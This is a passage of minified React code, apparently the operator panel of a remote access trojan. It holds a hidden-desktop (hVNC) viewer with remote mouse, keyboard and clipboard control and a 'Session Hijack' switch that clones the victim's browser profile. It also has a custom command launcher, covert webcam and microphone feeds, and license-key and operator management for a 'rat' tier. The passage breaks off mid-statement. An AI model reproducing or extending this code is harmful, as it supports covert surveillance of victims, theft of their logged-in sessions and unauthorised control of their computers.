E=Z.getBoundingClientRect(),oe=fe.width/E.width,J=fe.height/E.height;return{x:Math.min(Math.max(Math.round((V.clientX-E.left)*oe),0),fe.width-1),y:Math.min(Math.max(Math.round((V.clientY-E.top)*J),0),fe.height-1)}},[z]),ie=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);u.current={x:Z,y:fe};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Z,fe)),se(Z,fe)},[m,y,B,C,se]),ve=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,1,Z,fe),ue(Z,fe)},[m,y,B,C,ue]),we=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,0,Z,fe)},[m,y,B,C]),_e=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V),E=V.deltaY>0?-120:120;C.sendMouseScroll(E,Z,fe)},[m,y,B,C]);p.useEffect(()=>{if(!x||y)return;const V=(E,oe)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(oe,J,0)},Z=E=>V(E,1),fe=E=>V(E,0);return window.addEventListener("keydown",Z,!0),window.addEventListener("keyup",fe,!0),()=>{window.removeEventListener("keydown",Z,!0),window.removeEventListener("keyup",fe,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const L=p.useCallback(V=>{w(V),C.setQuality(V)},[C]),de=p.useCallback(async()=>{try{const V=await navigator.clipboard.readText();V&&C.sendClipboard(V)}catch{}},[C]),q=p.useCallback(()=>{var V,Z;(Z=(V=o.current)==null?void 0:V.requestFullscreen)==null||Z.call(V)},[]),te=p.useCallback(async()=>{if(ne(),e)try{r?await UE(e):await WE(e)}catch{}window.close()},[e,ne,r]),me=p.useCallback(async V=>{if(!(!e||!V.trim())){P(null);try{await VE(e,V.trim(),I),P(`Launched ${V.trim()}${I?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Z){P(`Failed: ${Z instanceof Error?Z.message:"unknown"}`)}}},[e,I]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.frameCount})," frames"]}),ee.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.dirtyTiles}),"/",ee.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:$?$.width:void 0,height:$?$.height:void 0,display:D?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ie,onMouseDown:ve,onMouseUp:we,onWheel:_e,onContextMenu:V=>V.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!D)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(V=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${V*.3}s`}},V))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:ee.fps})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:V=>L(Number(V.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:V=>{const Z=Number(V.target.value);k(Z),C.sendControl(2,Z)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:V=>{const Z=Number(V.target.value);N(Z),C.sendControl(3,Z)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Bs,{}),s.jsx(jp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(iV,{})}),s.jsx(jp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(aV,{})}),s.jsx(jp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(sV,{})}),s.jsx(Bs,{}),s.jsx(O2,{onClick:de,title:"Sync clipboard",children:s.jsx(oV,{})}),s.jsx(O2,{onClick:q,title:"Fullscreen",children:s.jsx(lV,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Bs,{}),s.jsxs("button",{onClick:()=>U(V=>!V),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:I?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:I?"#22D3EE":"#52525B",background:I?"rgba(6, 182, 212, 0.12)":"transparent",border:I?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),nV.map(V=>s.jsxs("button",{onClick:()=>me(V.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${V.label}`,onMouseEnter:Z=>{Z.currentTarget.style.color="#06B6D4",Z.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Z=>{Z.currentTarget.style.color="#A1A1AA",Z.currentTarget.style.background="transparent"},children:[V.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:V.label})]},V.cmd)),s.jsxs("button",{onClick:()=>{const V=prompt("Command to launch on hidden desktop:");V&&me(V)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:V=>{V.currentTarget.style.color="#A1A1AA",V.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:V=>{V.currentTarget.style.color="#52525B",V.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:te,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.12)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.06)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Bs(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function jp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function O2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function iV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function aV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function sV(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function oV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function lV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function cV(){const{id:e}=qo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=pv({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await HE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function uV({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=rt();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,_=w.data.byteLength-z;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:k})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const O=_/(S/8)/N,P=A.createBuffer(N,O,k),I=new DataView(w.data,z);for(let M=0;M<N;M++){const F=P.getChannelData(M);for(let R=0;R<O;R++){const W=R*N+M,$=I.getInt16(W*2,!0);F[R]=$/32768}}const U=A.createBufferSource();U.buffer=P,U.connect(A.destination);const D=A.currentTime;i.current<=D&&(i.current=D+.01),U.start(i.current),i.current+=P.duration},b.onclose=()=>{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function dV(){const{id:e}=qo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=uV({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await KE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const fV=4294967295;function pV(e){return e>=fV-86400}function kp(e){return pV(e)?"Never":new Date(e*1e3).toLocaleString()}function T2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function mV({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function hV(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState(null),[A,O]=p.useState(null),[P,I]=p.useState("30d"),[U,D]=p.useState(!1),[M,F]=p.useState(null),[R,W]=p.useState("rat"),[$,H]=p.useState(!1),X=p.useCallback(async()=>{try{const C=await XE();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),se=p.useCallback(async()=>{try{const C=await JE();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([X(),se()]).finally(()=>l(!1))},[X,se]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const K=await ZE({duration:m,max_agents:parseInt(x)||0,tier:y});k(K.key),N(!1),await X()}catch(K){u(K instanceof Error?K.message:"Failed to generate key")}finally{w(!1)}},ge=async C=>{u("");try{await QE(C),_(null),await 